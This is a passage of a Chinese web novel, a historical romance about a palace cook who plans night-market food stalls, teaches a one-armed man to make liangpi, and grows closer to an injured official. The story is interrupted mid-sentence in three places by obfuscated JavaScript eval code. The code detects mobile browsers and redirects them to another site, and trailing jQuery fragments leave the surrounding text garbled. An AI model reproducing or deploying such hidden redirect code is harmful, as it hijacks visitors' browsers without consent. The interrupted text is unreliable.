“我猜是的吧......我们老爷夫人虽然一直都对郎君要娶什么样的小娘子并不做要求,但也不能是这样.....的吧......”裴小之不敢说沈婉的坏话,只能含糊过去。 秦见君却抓住了重点:“裴老爷和裴夫人不讲究门当户对什么的吗?”她记得等级森严的古代是很看重这些的啊......所以她才觉得裴眠与自己不是一路人...... “不讲究的......”裴小之理所当然道,“自我记事起,老爷和夫人就不讲究这些,说是郎君喜欢就成。” “那也应该有个最低要求什么的吧?”秦见君试探道。 裴小之听了,圆圆的眼睛缓缓眯成椭圆,他盯着秦见君看了会儿,感觉自己好像窥见了什么秘密...... 秦见君被他这眼神看得发毛,忙转身背过去道:“随便问问,不方便说就算了。”说完,她疾步走远,绕过池塘,不一会儿跑了起来,几下就没了踪影。 前厅里,裴眠看着一地狼藉,问方涟:“这亲还结吗?” 方涟坐在桌边不说话,伸手推了一把身旁的裴礼卿。 裴礼卿开口道:“你娘不是故意的,她也不知道这沈府小姐是这性子,再说了,即便沈小姐不是这性子,结不结亲也是要得到你准许的。” “是啊......”方涟在一旁补充道,“让你多接触接触,又没说一定要结亲......” 裴眠见两人一唱一和的,无奈叹气道:“爹、娘,烟火大会在即,我手上事务多,成亲不急在这一时,沈府之事到此为止行吗?” 方涟微微点头,侧身对着裴眠不去看他,半晌又忍不住喃喃了一句;“你一直这么孤孤单单的,娘放心不下......” “也不见得一直孤孤单单......”裴眠道。 方涟听了,忙抬头去看他,然后惊讶地发现,只见自家宠辱不惊的儿子居然也会有些慌乱地眼神游移...... “谁啊?”虽然方涟心里已经有了答案,但她还是想确认一下。 裴眠没有立刻回答,他看了看桌上的菜,又看了看地上的碎盘子。 二老的目光灼得他面颊发烫,只好轻声道:“明知故问。” 秦见君跑出石甬路时,抬头看见袁原正站在厨房前,像是在等自己。 “你在这儿做什么?”秦见君上前问。 “等你。” “有事?”秦见君在袁原面前站定。 他点点头,却又不说话。 秦见君歪了歪头,不知道袁原要做什么,于是耐心等着。 半晌,袁原才开口道:“我有个兄弟......想在烟火大会上摆摊,但不知道卖什么......”他垂着眸子,眨眼的速度很快,看起来很不自在。 不知道卖什么,所以来找自己?秦见君一下就知道了他的来意。 “你想让我教他厨艺?” 袁原微微点头,头还没抬起来便开口,这不符合他平日里的冷淡性子,秦见君能看出来他有些急了。 “只需教一点......教一道菜也可以......我给钱买方子......”他垂在腿边的手轻轻攥了攥,道,“我听说湖梁县令的女儿安小娘在卖千层饼,卖得很好......” “好吃吗?” “好吃。”袁原不假思索地答完,随即反应过来,有些慌乱地抬头去看秦见君。 秦见君觉得好笑,袁原是裴眠的心腹,去湖梁县大约就是为了查自己的底细,这会儿还撒谎说是“听说”的,被自己随口一套就套出来了。 “大人他......”袁原试图解释。 “人之常情,你们大人位高权重的,怀疑我也很正常。”秦见君打断他,脸上也并无愠怒之色,袁原这才放下心来。 “嗯......”秦见君将手指抵在下巴上,思索了片刻,问,“你这位兄弟有擅长做的菜吗?” 袁原摇头,随即他又补充道:“他断了一臂。” 秦见君眨了眨眼——断臂?古代这种医疗条件,断臂定是经过九死一生的,也不知道他这位兄弟经历过什么...... “左臂还是右臂?”秦见君问。 “左臂,他惯用右手。” “那还好......”秦见君心里盘算着适合独臂人做的美食,半天也没有头绪,只好道,“我回去想想,明天给你答复可以吗?” “好。”袁原认真点头。 从下午到晚上,裴眠都没来厨房,连晚饭都是裴小之端过去的。 秦见君脱了围裙,收拾好厨房便回了落霞轩。 泡入温热的水中,她感觉一整日的疲惫都被抚平了,舒服地吐了口气,而后背靠着浴桶,后脑枕在桶沿上,望着房梁。 从这几日街上的情况来看,烟火大会应该会来很多人,整个流程和方案自己都看过,她有信心这次能让绵州成为大荆的焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624031|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 袁原的这位兄弟说不定能趁着夜市狠狠赚一波——毕竟河上游船与岸边烟火,都是夜里的活动,撤宵禁后夜里更凉爽,愿意出门的百姓也多,夜市一定热闹非凡。 秦见君猛地坐直了身子:是啊,夜里人多!夜里自己也不用做饭,为什么不试试去摆摊? 想了想,她又顿住身子,缓缓沉下去一点,嘴唇潜入水中,咕噜噜吹了一串水泡泡出来。 但是府中的厨娘是正职,裴眠会让她做夜市的兼职吗?可这诱惑力真的很大,若是人流量够大的话,她甚至不用在府中待满十个月,凭借夜市攒够开店的本金也是有可能的...... 自从坐上了轮椅,裴眠便不再泡澡了,因为他无法从浴桶中自由出入,一般都是坐在桶边擦拭身子,待收拾好了再让袁原进来抱他出去。 近日觉得身子大好,他也试过站起来,但只能扶靠着,彻底靠自己行走还是无法做到。 干净的毛巾被放入浴桶中,迅速吸水变沉,一只苍白干瘦的手将它捞起。 裴眠低头仔细地擦着手臂,半晌又将手臂伸直,端详了一会儿——又细又瘦...... 他试着攥紧了拳头,还是有些无力。 “呼......”裴眠泄了气,想起今日去明心阁时齐冬青的叮嘱。 “心急吃不了热豆腐,当初你的身子败下来也不是一蹴而就的,想要好回去,自然也是要花时间、花心思的。”齐冬青重新给他配了药,让他继续喝。 裴眠其实还是有些心急的,他不喜欢自己这样又弱又废,尤其秦见君还说以后想开酒楼,那她必不可能一辈子待在裴府做厨娘,若是她走之前,自己还是这副病恹恹的样子...... 他想用最好的面貌,站在秦见君面前剖白心意,他想要她的回答是不掺杂任何一点同情的......其实说白了,他对现在的自己很不自信,官位、外貌都不如从前,整日待在轮椅上,连站起来都麻烦...... “袁原。” 袁原听到裴眠的声音,稳步走入屏风后,将衣衫齐整的裴眠抱到了床上。 裴眠的发梢还是湿的,他刚坐稳,便听到了一阵敲门声,门外传来秦见君的声音。 “裴眠?” 裴眠扯了扯被子,又将有些凌乱的头发理了理,这才抬头示意袁原去开门。 “袁原?裴眠睡了吗?”秦见君抬眼看着袁原问。 “大人还未睡。” “我方便进去吗?” 袁原垂眸思索了一瞬,让开了身子。 秦见君走进裴眠的屋子,上次来还是隔着屏风请罪,这次虽不是请罪,但心里还是有点慌的。 她两只手扒在屏风侧边,探头去看,身后响起袁原关门出去的声音。 裴眠正坐在床头看着自己,他面容深邃俊朗,发色乌黑,皮肤白皙,俊朗得不像话。 “怎么这么晚过来了?”裴眠问。 秦见君迟疑了一下,不知道该怎么开口——难道说我想做夜市兼职赚钱,怕来晚了抢不到好摊位吗? 看她支支吾吾的样子,裴眠实在好奇,便招手让她去面前说。 秦见君放下扒着屏风的手,站直了身子走过去,低头看着裴眠,半晌才开口道:“我想......摆摊......” 裴眠眉心微蹙:怎么一个两个都要摆摊? 35.第 35 章 夏初的蝉鸣声已是很大了,秦见君在裴眠的屋子里,只觉得耳边嗡嗡的吵,但心里又觉得屋子里太静了,因为裴眠一直没说话。 “你是说,想去夜市摆摊?”裴眠问。 “嗯。”秦见君点头,模样看起来十分乖巧。 “为何?”裴眠又问。 秦见君的眼睛微微睁大,有些兴奋的样子道:“赚钱啊!” “是府中给你的工钱太少?”裴眠微微蹙眉。 意识到自己的话引起的歧义,秦见君连忙摆手解释:“府里给的很多了!但我不是想开酒楼嘛?钱肯定是越多越好的......” 裴眠见她说话声越来越小,似是没什么底气的样子,他压住心底的不适,尽量温和地问:“你需要多少钱?” “最少......五两金。”秦见君怕他要借钱给自己,赶忙接着说,“我想自己攒,因为开店也不见得就一定是赚钱的,万一到时候赔本了,身上还背着债......那不就是恶性循环了嘛......” 想垫钱的裴眠被她说得一噎,只好问:“赚够了五两金......打算去哪儿开店?” 秦见君看着裴眠,他面色沉静,似是在公事公办地关心下属未来规划。 想起自己那尚在萌芽中的爱情小花,还有那位跋扈的沈小姐,秦见君觉得未来是留在绵州,还是离开绵州都未可知,于是低声道:“没想好。” 没想好......裴眠垂下眸子。 他不知该说什么好,准许她去夜市摆摊,就是在帮她攒钱,也是......在帮她早日离开自己...... 他忍不住抬眸去看秦见君,她的脸上也算不上明朗,或许是因为她心中明明装着广阔天地,眼下却只能被困在这知州府中吧...... “去吧......”裴眠低声道。 秦见君正盯着自己足尖的眼睛猛地抬起:这么容易就同意了? 裴眠并不看秦见君,只伸手扯了扯被子道:“去摆摊吧。”顿了顿,他的头微微侧向床里,用后脑勺对着秦见君,声音闷闷的,“我有些累了......” 夜确实深了,秦见君也不便继续打扰,只好道:“那......我可以去你书房拿摊位图纸吗?”虽然她参与了摊位划分,但图纸并不是她画的,细节上还是有些记不清。 裴眠的脊背僵直,半晌才道:“问袁原要。” “好。”秦见君得了令便赶紧退下了,因为她觉得裴眠好像是真的有点累,连说话的声音都变低了。 关门声响起,裴眠几乎是同时将脸转了过来,看向屏风,却连她的一点衣角都没捕捉到。 五两金不算多,府里给的工钱也不少,她想攒钱并不需要多久——裴眠低头看着自己瘦巴巴的胳膊和腿,心里又升起一股焦虑与烦躁...... 翌日用过早饭,秦见君没再继续抄写裴眠留下的字帖,而是在纸上将自己能想到的地摊小吃都列了出来:臭豆腐、炸鸡柳、烤冷面、煎饼果子、烤肠、凉皮、水果捞...... 虽说夏日卖冰饮最好,但冰饮需要冰块来保温,冰块太贵了,综合算下来赚头不大,秦见君还是想卖些盈利高的,不然就攒不到钱了...... 她放下笔,进厨房转了一圈:空心菜、圆白菜、青菜、猪肉、鸡肉、鸭肉、羊肉...... 羊肉? 她下意识撅起唇思考,大荆的羊肉很贵,寻常百姓家逢年过节才会买,但自己有“一手渠道”,可以直接从知州府进货,她记得小丁说府中羊肉库存很足,从府中低价进货,做成羊肉串卖,应该能赚不少! 她转了个身,靠在台面边上继续想,光烤羊肉串肯定是不够的,还可以加上蔬菜......还可以加烤面筋!要做面筋的话,就可以顺手做凉皮,袁原的那位独臂朋友卖凉皮也是很好的选择! 没一会儿,她忽然又叹了口气:烤羊肉串的炉子都没有呢...... 袁原推着裴眠过来时,便看见这样一幅场景——穿着青衣的小厨娘靠在台面边上,有些垂头丧气的,噘着嘴不住叹气。 “在想什么?”裴眠出声问。 秦见君转头看向他,站直了身子,她早就想给厨房增添厨具了,正好趁这次一起办了。 “裴眠,绵州的铁匠铺在什么地方?” “城西。” “我想给厨房添些厨具,有些形状怪的,要当面跟铁匠说。”秦见君道,心想最好是裴眠带自己去,铁匠铺总不敢要裴眠的高价,到时候她的烧烤炉也能蹭个“知州价”。 “袁原你带她......”裴眠话还没说完,便觉得袖子被秦见君扯了一下,他转头看过去,秦见君正盯着自己。 “你不去吗?” 如今绵州百姓都知道裴眠戴帷帽、坐轮椅了,袁原的脸可不如裴眠好使。 裴眠抿起唇收回视线,想硬着心肠拒绝这个一心想飞出知州府的小厨娘,但又抵不住她扯自己袖子的力道,小小的,却有拨动千斤之力。 最终秦见君如愿以偿地跟在裴眠后面出了门。 往城西去的路上,秦见君问袁原:“你那位兄弟明日有空吗?我想教他做凉皮。” “凉皮?”袁原没听过这东西。 “嗯,就是白白的、软软的面皮,夏日凉拌吃可开胃可舒服了!”秦见君说话时眼角眉梢都带着笑,心情很好的样子——要赚钱了谁不高兴! 反观一旁的裴眠,虽然被帷帘遮住了脸,却莫名让人觉得他心情不好。 袁原点头应着,说明日带他的兄弟来府中学做凉皮。 铁匠铺子里有些冷清,三人进门时,头上裹着汗巾的铁匠从火炉后探出身子,见到裴眠的装扮,连忙停了手里的活儿,擦着汗走出来。 “知......知州大人,您要买什么?”铁匠皮肤黝黑,个子不高,但身材十分壮实,看着有些憨厚。 裴眠的头微微侧向秦见君,于是秦见君上前一步问:“请问您这里做不做平底锅?” 那铁匠懵了懵,摇头道:“平底锅是什么?” 秦见君拿出自己准备好的图纸递给铁匠,指着上面的锅道:“这样的,锅底是平的,也有围挡和把手......” 秦见君不断地抽出新的图纸展开,将平底锅、烤饼桶、铁板炉等厨具都详细描述了一遍,与铁匠你来我往地商讨着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638980|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴眠坐在一旁,隔着帷帘去看秦见君,不算清晰,但能看见她表情很认真,嘴唇又下意识地微微撅起。 她比刚入府时气色好了许多,身上也多了些肉,不再是瘦小模样,此时莹白的脸颊上挂着刚刚一路走来沁出的汗珠,从眼尾到脖颈都有些泛红,眉头轻蹙,灵动的眸子在图纸与铁匠之间来回看,嫣红又带着肉感的嘴唇一张一合。 他并未认真听她在说什么,只是直直盯着她的嘴唇,在想她会不会渴...... “大人?”秦见君有些着急,她跟铁匠商定了价钱,就等着裴眠付钱,结果怎么叫他都没反应。 “嗯?”裴眠如梦初醒。 “付钱。”秦见君松了口气,方才还以为裴眠睡过去了...... 裴眠将钱袋递给秦见君,她便低头去数钱,交给铁匠后,绑好了裴眠的钱袋子,又拿出自己的钱袋来数钱。 “不够?”裴眠问。 秦见君头都没抬,一边数钱一边道:“刚刚是付府中厨房里厨具的钱,现在是付我摆摊要用的......” “一起付。”裴眠道。 秦见君数钱的手顿住——被裴眠打岔,都不记得数了多少了。 裴眠伸手从秦见君手中拿过自己的钱袋,递给铁匠:“一起付,往后她来,都记我账上。” 那铁匠诚惶诚恐地在裤子上擦了擦手,上前双手接过钱袋,数了钱出来,又将钱袋递还给裴眠。 裴眠接过时,能看见那铁匠的手在抖——自己有那么可怕吗? 钱都付了,秦见君也不再纠结,从铁匠手中接过两只薄盘模样的铁片,收起钱袋对裴眠道:“还要去一趟木匠那边,摆摊用推车比较方便。” 推车在大荆并不少见,秦见君稍稍加了一些自己的要求,那木匠便心领神会。 “两日后可以先去拿烧烤炉,其余的厨具要半个月后拿,推车倒是明日就能做好......”秦见君喃喃地算着,后天晚上烟火大会便正式开始了,烧烤估计是赶不上,只能先做凉皮...... 翌日一早,秦见君见到了袁原口中的那位“兄弟”。 穿着粗布麻衣,与袁原身量一样高,但比袁原壮实许多,左袖空荡荡的,那条手臂自肩膀以下就没了。 “这是袁分。”袁原引着袁分到了裴眠与秦见君面前。 秦见君看着袁分,觉得新奇,他的头发随便拢在脑后扎了个丸子,脸上胡子拉碴的,但挡不住俊朗的面容。 单眼皮,但眼睛并不小,只是狭长,黑瞳上吊,是典型的三白眼,平视时也能给人一种丧丧的感觉...... “知州大人、秦小娘。”袁分的声音很低沉,秦见君想到了网上说的超绝低音炮嗓子。 秦见君忍不住眨眨眼,又眨眨眼,第一次在现实世界里听低音炮,确实有种很不一样的感觉,她盯着袁分的喉咙看,忍不住想:人类是怎么发出这种声音的? 还没想出个所以然来,忽地眼前覆上一双大手,将她的视线都遮住,身后有热气靠过来。 “诶?”她缓缓转过身,入目的是一截洁白的颈子,还有交叠的衣领,顺着喉结往上看——是裴眠。 36.第 36 章 先前秦见君大多是低着头看裴眠,忽然仰起头来,才发觉他垂眸看人的样子与平日里大不相同...... “你......能站起来了?”秦见君半张着嘴问。 在秦见君将所有注意都放到自己身上后,裴眠心里才舒坦了点,默默收回了手,方才她一直盯着袁分看,自己实在是忍不住站起来阻挡...... “嗯。” 秦见君两眼放光,绕着裴眠走了几圈——先前他一直坐着,大多数时候并没有什么威压,而且他腿长,坐在轮椅中也并不觉得他站起来有多高大,现下一看,居然比自己高出快一个头! “哇......”秦见君忍不住上手拍了拍裴眠的肩道,“你好高啊......” 她正盯着肩比对高度,裴眠微微垂眸看着她,从上往下能看见她脸颊两边有鼓起的肉,睫毛很长...... 秦见君抬头对上裴眠的视线,他的眸子里带着温和的笑意,秦见君忽然有一瞬心悸,她有些慌乱地移开目光,说话也有些结巴:“看、看来你身子好多了......” “嗯。”裴眠应了一声,见她十分不自在的样子,以为自己吓到她了,于是坐回轮椅中道,“站不了太久。” 面前高大的身影消失,秦见君有些遗憾地望向裴眠——虽然瘦,但站姿挺拔,超帅的!可惜又坐下了...... 小小插曲并没有耽误太久,秦见君引着袁分进了厨房,着手准备教他做凉皮。 秦见君取了盆,又拿了面粉过来。 “把面粉放进盆里......”清亮的声音不急不缓,极有耐心。 袁分话少,但行动力强,秦见君说什么他便做什么,来之前还担心自己一只手不方便,没想到秦见君教的都是单手能完成的。 “加盐和水先用筷子搅成絮状,再用手揉成面团。”秦见君一边演示,一边转头去看袁原的动作。 袁分的手很大,手臂肌肉线条明显,没几下便揉好了面团。 “加水到面团一半多一点的位置,然后让它泡一刻钟。” 跟着秦见君的指示,袁分将面团洗出来的水静置后得到面糊,再将面糊均匀淋在秦见君递过来的圆铁盘上,放在水面上蒸一下,便成了膜,微黄透明的软面弹性十足。 每张凉皮都需刷油,不然会粘在一起。待将凉皮都做好了,秦见君便去洗手,转头见袁分手背上沾的一点面粉没洗掉,于是伸手帮他搓了一下。 袁分像只见了老鹰的兔子,吓得往后退了一大步。 秦见君被他的反应吓到,也忍不住后退了两步,而后才反应过来,大荆在“男女之别”上难道也十分严谨?她倒不会无缘无故去摸别的男人的手,只是袁分情况特殊,她伸手帮了一把而已...... 窗外的裴眠也看见了这一幕,蹙着眉对袁原使了个眼色,于是袁原便进厨房去帮自家兄弟洗手了。 “抱歉,冒犯了......”再怎么说也是自己先动的手,秦见君有些不好意思地道歉。 “无妨。”依旧是粗粝的低音炮,袁分很快便恢复如常。 秦见君悄悄呼了口气,去拿了黄瓜、豆芽和胡荽,她利落地起锅生火,把豆芽扔进去焯水,趁水沸腾之前,将黄瓜切丝。 “我在铁匠铺那边订了擦丝器,你不用给黄瓜切丝,等擦丝器到手了我教你怎么用。”秦见君说着,捞起煮得有些软的豆芽,装入碗中。 随后她又端起自己早先准备好的碗,里头装着花椒、小茴香、桂皮、香叶等材料,仔细给袁分说着分量。 袁分脑子好使,说一遍就记得很牢。 做凉皮的步骤不算复杂,但每一步都极细致,用料份量不同,便会导致最后口味不同,秦见君一步步教得认真,袁分也聚精会神听着。 “抓一撮豆芽、一撮黄瓜丝......胡荽不是每个人都能吃,加之前要问一下......醋也是......” 其实在刚刚煮料水时,丰富的香气便已经飘了出来,饶是心如止水的袁分,都有些期待这“凉皮”做出来是什么味道。 眼下一碗晶莹半透、挂着汁水的凉皮做好了。 “尝尝看。”秦见君道。 于是袁分在裴眠与袁原的注视下,取了筷子,夹起两根凉皮放入口中。 凉皮入嘴是爽滑的,因为秦见君特地交代他过了凉水又放置在冰盆上,此时凉皮还带着冷气,甫一接触舌尖,便觉得口中热气都散出去不少。 咀嚼时能感受到凉皮的弹性,咬碎后又有些黏糯,酱汁咸香微麻,醋的酸味是极突出的,但并不过分,恰好能吊起被热得有些萎靡的胃口。 接下来一筷子,他混夹了些配菜,黄瓜丝清香脆嫩,豆芽煮得软,虽不够脆,但汁水丰沛,清新配菜搭配浓郁酱料,相得益彰。 他吃了一口又一口,一碗凉皮很快就见了底。 见他这样闷头吃着不说话,秦见君便知道这凉皮是成功了。 她切了一小块面筋放入口中,大荆没有酵母,所以面筋并不够蓬软,但也并不算失败,入口还挺有嚼劲,于是她在给裴眠拌凉皮的时候加了一些面筋块进去。 裴眠接过碗,不多言语,低头便开始吃,但并不粗鲁,还是一派斯斯文文的样子。 “这小块是什么?”直到吃完一整碗凉皮,裴眠才开口问。 “面筋。”秦见君道,“刚才洗面团留下的,拌凉皮时可以加进去,能增加口感。” “好吃。”裴眠点点头,脸上带着餍足,“这吃食新鲜,口味也极好,适合夏夜。” 袁原在一旁端着吃空了的碗,也忍不住微微点头。 秦见君嘴角勾着笑,转头对袁分道:“明晚第一次出摊,不用做太多,先看看情况,这凉皮是不能放过夜的,过夜凉皮吃了会中毒,所以宁愿少做一点,不然容易浪费。” “会中毒?”袁分问。 秦见君点头:“嗯,不过当天吃是绝对没问题的,待会儿之管家把推车取回来,你一定记得提前挂上牌子,告知百姓凉皮不能留过夜......”而后她似是想起了什么,又补充了一句,“卖出去的时候也要开口提醒一下,有些百姓不识字的。” 说着,她在围裙上擦了擦手,转身取了两张纸递给袁分:“这是食谱,你回去照着上面说的食材备上就好了。” 袁分刚接过食谱,身后便传来裴小之的声音。 “郎君,沈小姐来了。” 听到“沈小姐”三个字,秦见君心里一惊——又来? 沈婉昂着头跟在裴小之后面,像只高傲的白天鹅,脸上依旧是不屑的神情。 “我来拿我的画像。”沈婉走到裴眠面前,伸手递出手上的小画卷。 裴小之不知何时走到了秦见君身后,小声解释道:“老爷与夫人往沈府去信,说是不结亲了,需交还画像,从此便断得一干二净了。” 秦见君悄悄抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656164|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼去看二人,一坐一站,气势都极盛。 裴眠接过画像后,沈婉忽然轻轻吸了吸鼻子,目光转向石桌上晾着的凉皮和酱料。 秦见君忙开口道:“这是凉皮,清爽香麻,沈小姐要来一碗吗?” 一听到秦见君的声音,沈婉便蹙起眉,她斜睨了一眼秦见君,毫不犹豫道:“不必,我拿了画像便走。” “小之,去书房取。”裴眠开口道。 裴小之忙应声去了。 厨房一时没了声响,沈婉的目光落在墙边的花草上,又时不时转向石桌。 裴小之也怕极了这沈小姐,生怕她又闹什么幺蛾子,于是飞奔去书房取画像,一来一回并未花多少时间。 沈婉拿了自己的画像,展开看了看,随后卷好。 秦见君在一旁看着,感觉她似是松了口气——看来秦小姐也是很不想跟裴眠结亲的。 “画像归还,从此我们两清。”沈婉撂下这句话转头便走。 没想到刚走两步,石甬路那边来人了。 “裴眠,虔渊州的瓦舍艺人我给你请来了,你......”赵浅聿转过树丛,忽见小路上走过来一面生的小娘,转眸看过去,厨房边聚着一群人,他愣了愣——知州府何时这么热闹了? 秦见君原以为沈婉会直接略过赵浅聿,却没想到这位沈小姐突然停了步子,背影有些僵硬。 “这位是......?”赵浅聿看着面前的美人,有些摸不着头脑,他才去了虔渊州多久,怎么又来个漂亮小娘?裴眠真是艳福不浅...... “沈府,沈婉小姐。”裴眠道。 赵浅聿与沈婉对面行礼,而后赵浅聿随口问:“沈小姐用过午饭没?临近中午,日头极盛,路上热得很,要不一起在府中吃吧?” 秦见君向他投去怜悯的目光——沈小姐刚刚才拒绝了凉皮,怎么会留下来吃...... “好。” 秦见君:“?” 秦见君眼睁睁看着方才还昂着脖子的天鹅微微低了头,转过来时满脸通红。 赵浅聿也发现了,于是上前两步追上去问:“沈小姐,你很热吗?” “还......还好......”沈婉回话,但只是微微侧头,并没有抬头去看赵浅聿,视线在他的鞋上便停住了。 “可是你脸都红了。” 沈婉伸手摸了摸脸,小声道:“是......是有点热......” 赵浅聿便去问秦见君:“上次的香橼冰茶还有吗?” 秦见君还愣在原地——这是什么大型变脸现场?沈小姐该不会是瓦舍里的变脸艺人吧? “没......了......”秦见君呆傻地回道。 “在冰库。”裴眠道。 “什么?”秦见君转头看他。 裴眠挥手让裴小之去取,低声对秦见君道:“上次去沈府时,拜托沈大人又送了些来,放在冰库,忘了同你说。” “你不是去相......不是去拿沈小姐画像的嘛?怎么忽然问别人要香橼?”秦见君不解。 裴眠抬头看着她,表情有些莫名:“爹说沈府又进了一批香橼,我想着你爱喝,所以才去沈府,本就是去要香橼的,画像是爹娘非要拿。” 秦见君这才想起那日上午,裴眠起先是想拒绝的,是裴礼卿同他说了什么,他才应下要去的。 那还真是......错怪他了...... 37.第 37 章 自上次沈婉大闹前厅后,前厅便没有再去过人,今日是第二次在前厅摆宴。 方涟闲不住,听说绵州郊外有避暑园子,便带着裴礼卿一同去了,眼下前厅桌上都是年轻人。 府中算得上“客人”的只有赵浅聿、沈婉与袁分,但裴眠让秦见君、裴小之与袁原一同坐下吃。 秦见君偷偷看了沈婉好几眼,生怕这大小姐不许她上桌,结果沈婉压根没给她一个眼神,低着头脸颊通红,也不知在想什么...... 下人们都被遣了出去,几人围着桌子坐下,一时都没说话。 “主人家坐上,裴眠先动筷吧。”赵浅聿受不了这样尴尬的氛围,开口道。 于是裴眠动了筷子,其余人也跟着动筷子,桌上只剩下碗筷相碰发出的轻响。 秦见君一边吃一边观察沈婉,她的头不再高高昂起,坐姿端正了许多,周身气质也开始与长相融洽起来,散发着无害且温和的气息。 “秦见君。” 耳边传来裴眠的声音,秦见君闻声转头去问:“怎么了?” 裴眠微微蹙眉看着她,用公筷给她夹了菜,低声道:“专心吃。” 秦见君看着碗里的红烧肉,也意识到自己总盯着别人看,有些不礼貌,于是低头专心吃,期间裴眠又给她布了几次菜,似是生怕她得空抬头继续盯着沈婉。 秦见君埋头吃着,忽然感觉到头顶有一道强烈的视线,她抬头望过去——是沈婉。 沈婉的脸本就长得温柔大气,一双水眸盯着人的时候,显得多情又惹人怜爱。 两人无声相望,都从对方眼中读出了疑惑。 “明晚烟火大会,你们都打算何时出门?”赵浅聿吃好后放下筷子,问桌上众人。 秦见君的烧烤架明日才能到,时间紧迫,她明日出不了摊,但想着去看看袁分的出摊情况,于是她问袁分:“你明天什么时候去?” “酉时。”袁分言简意赅。 秦见君点点头,酉时是五点多,她那会儿还在做晚饭,估计要晚一点才能出门,她有些苦恼地抿了抿唇。 “明晚早些吃饭。”裴眠见她面上发愁,便开口道。 秦见君立刻瞪大了眼朝裴眠点头——第一次撤宵禁,方案也有她的份,她真的很想看全程! “沈小姐呢?”赵浅聿侧头问身边的小娘子。 沈婉忽然被点名,肉眼可见地僵住了,脸上通红。 “我、我明日......也是酉时......”半晌她才挤出一句话来,声音与先前的跋扈不同,软绵绵的,秦见君眨了眨眼——沈婉好像个夹子...... “那便酉时,珍馐楼对面见,我今日带来的瓦舍艺人绝活可多了......”赵浅聿细数着艺人们的拿手绝活,桌上众人都听得入神,待天色黑透了,这宴才散去。 客人们走后,秦见君便推着裴眠到了池塘边消食,先前被沈婉派人将花都折了下来,如今塘中碧绿一片,景色怪异。 “还好有些花骨朵儿没被摘掉......”秦见君上前查看了一番,喃喃道。 “要不找人将池塘再翻......” “别!”秦见君回头打断裴眠,“别那么大费周章的,下面还长着藕呢,再翻出来一遍多麻烦。”她围着池塘看了一圈,剩下的花骨朵儿还挺多的,相信再过不久便又会荷花满塘了。 裴眠坐在轮椅上看着她,夜色昏暗,虽有灯笼照明,但仍不似白日里那般清晰,她的身影绰约,朦胧又灵动。 秦见君看够了池塘,又走回裴眠身边,上下打量了他一番,忍不住开口道:“你能再站起来一次吗?” 裴眠不明所以,但还是撑着轮椅站起身。 高大的身影笼在面前,秦见君的眸子从微垂到抬起,眼底的光越来越亮。 “你真的好高啊......”秦见君退后两步看着裴眠。 裴眠不置可否地歪了歪脑袋,把秦见君萌得不行,他本就是一派矜贵长相,不说话时看着十分不好相处,但偶尔的小动作又很可爱,反差很大。 秦见君曾看到过方涟捏裴眠的脸,彼时她还不是很懂,眼下倒是感同身受了,谁看见这么可爱的大高个能忍住不捏他呢?尤其他还不反抗。 她攥了攥手指,克制住捏裴眠的冲动——这是老板这是老板这是老板! 不要冒犯老板! “都忘了问......”裴眠开口道,“你摆摊要卖什么?” 秦见君勾起嘴角道:“烤羊肉串!” 裴眠最喜欢看她笑的样子,很有活力,弯弯的眉眼中藏着抑制不住的欣喜,明明白白地传达到了裴眠心中。 “府中的羊肉我可用最低价收购咯......”这事她还没同裴眠说过,只与裴小之商议了。 “嗯。”其实裴眠更想都送给她,但估摸着她不会白要,不如低价卖给她。 “等明天烧烤炉到了,我先做一点出来给你尝尝!羊肉串和普通炖汤不一样,它是......” 裴眠站在轮椅前听她说羊肉串是什么,眼中尽是温柔。 说了一大堆,秦见君看裴眠还站在原地,便问:“你能走吗?” 裴眠的神情瞬间有些黯淡下去:“不能。” 许是太久没有走动了,除了体力不支外,裴眠似乎有些忘了该如何行走,在屋子里尝试走路时,自己都能感觉到姿势怪异,无法控制双腿。 “要不要试试?”秦见君问。 孤儿院也有肢体功能不全的孩子,受爱心人士资助后会去医院做手术,然后定期复健,除了去医院在医生指导下复健外,在孤儿院也要不断运动才行。 她记得好几个孩子刚开始复健时都是极痛苦的,不仅是身体上的痛,还有心理上的陌生感,这种陌生感会往往是阻碍复健的关键因素。 裴眠抬头看向秦见君,她站在离自己两步之外的地方,脸上笑意盈盈,青衣裙摆飘逸。 秦见君张开手,昂了昂下巴,示意道:“走两步,我接着你。” 裴眠看着她比自己小一圈的手,有些犹豫——若是摔倒......会很难看...... 秦见君耐心很足,并不催促他,只抬起手在原地等着。 “裴眠,你要是能走到我面前来,我就答应你一件事。”秦见君加码。 裴眠 